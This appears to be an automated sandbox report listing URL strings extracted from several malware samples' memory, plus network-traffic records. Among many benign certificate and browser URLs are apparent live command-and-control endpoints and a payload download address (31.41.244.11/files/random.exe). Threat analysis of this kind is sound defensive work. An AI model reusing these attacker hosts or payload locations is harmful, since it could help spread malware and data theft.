Source: file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlle
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/M
Source: file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBKJK.exe-data;
Source: file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: file.exe, 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.Verb
Source: file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: file.exe, 00000000.00000002.1858517484.00000000237E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B59000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpS
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062
Source: skotes.exe, 0000001C.00000002.2700622606.0000000000B59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506239Cd
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000002.2705948069.00000000016DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403
Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der
Source: beda8cb96f.exe, 0000001D.00000002.2705948069.00000000016DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403th
Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_484.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1865322130.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1853594259.000000001D68D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: IJKKKFCF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_484.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 27ca0ccb-1c2b-4cc6-b028-4fcb9b8b43fe.tmp.10.dr, 140427cb-a2e1-420b-87ce-8759ab3fc937.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 140427cb-a2e1-420b-87ce-8759ab3fc937.tmp.10.dr	String found in binary or memory: https://assets2.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: IJKKKFCF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 27ca0ccb-1c2b-4cc6-b028-4fcb9b8b43fe.tmp.10.dr, 140427cb-a2e1-420b-87ce-8759ab3fc937.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 27ca0ccb-1c2b-4cc6-b028-4fcb9b8b43fe.tmp.10.dr, 140427cb-a2e1-420b-87ce-8759ab3fc937.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 7255bf1ad0.exe, 0000001E.00000002.2699667699.00000000012B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 7255bf1ad0.exe, 0000001E.00000002.2699667699.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 7255bf1ad0.exe, 0000001E.00000002.2699667699.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 7255bf1ad0.exe, 0000001E.00000002.2699667699.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: beda8cb96f.exe, 0000001D.00000002.2696966766.0000000000A3A000.00000040.00000001.01000000.0000000F.sdmp, beda8cb96f.exe, 0000001D.00000003.2620578006.0000000007182000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1834499760.000000000120A000.00000004.00000020.00020000.00000000.sdmp, CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 27ca0ccb-1c2b-4cc6-b028-4fcb9b8b43fe.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_484.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_484.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_484.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_484.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: FHCGCFHDHIIIDGCAAEGD.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10ZMVJ
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log8.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log0.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376509237048115.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: chromecache_484.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: IJKKKFCF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: CFIEHCFI.0.dr, Web Data.9.dr, IJKKKFCF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 27ca0ccb-1c2b-4cc6-b028-4fcb9b8b43fe.tmp.10.dr, 140427cb-a2e1-420b-87ce-8759ab3fc937.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_484.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_484.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_484.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000000.00000002.1858517484.0000000023770000.00000004.00000020.00020000.00000000.sdmp, FHCGCFHDHIIIDGCAAEGD.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://www.mozilla.org
Source: IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1783381144.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, IJKKKFCFHCFIECBGDHIDHIEGII.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62277
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
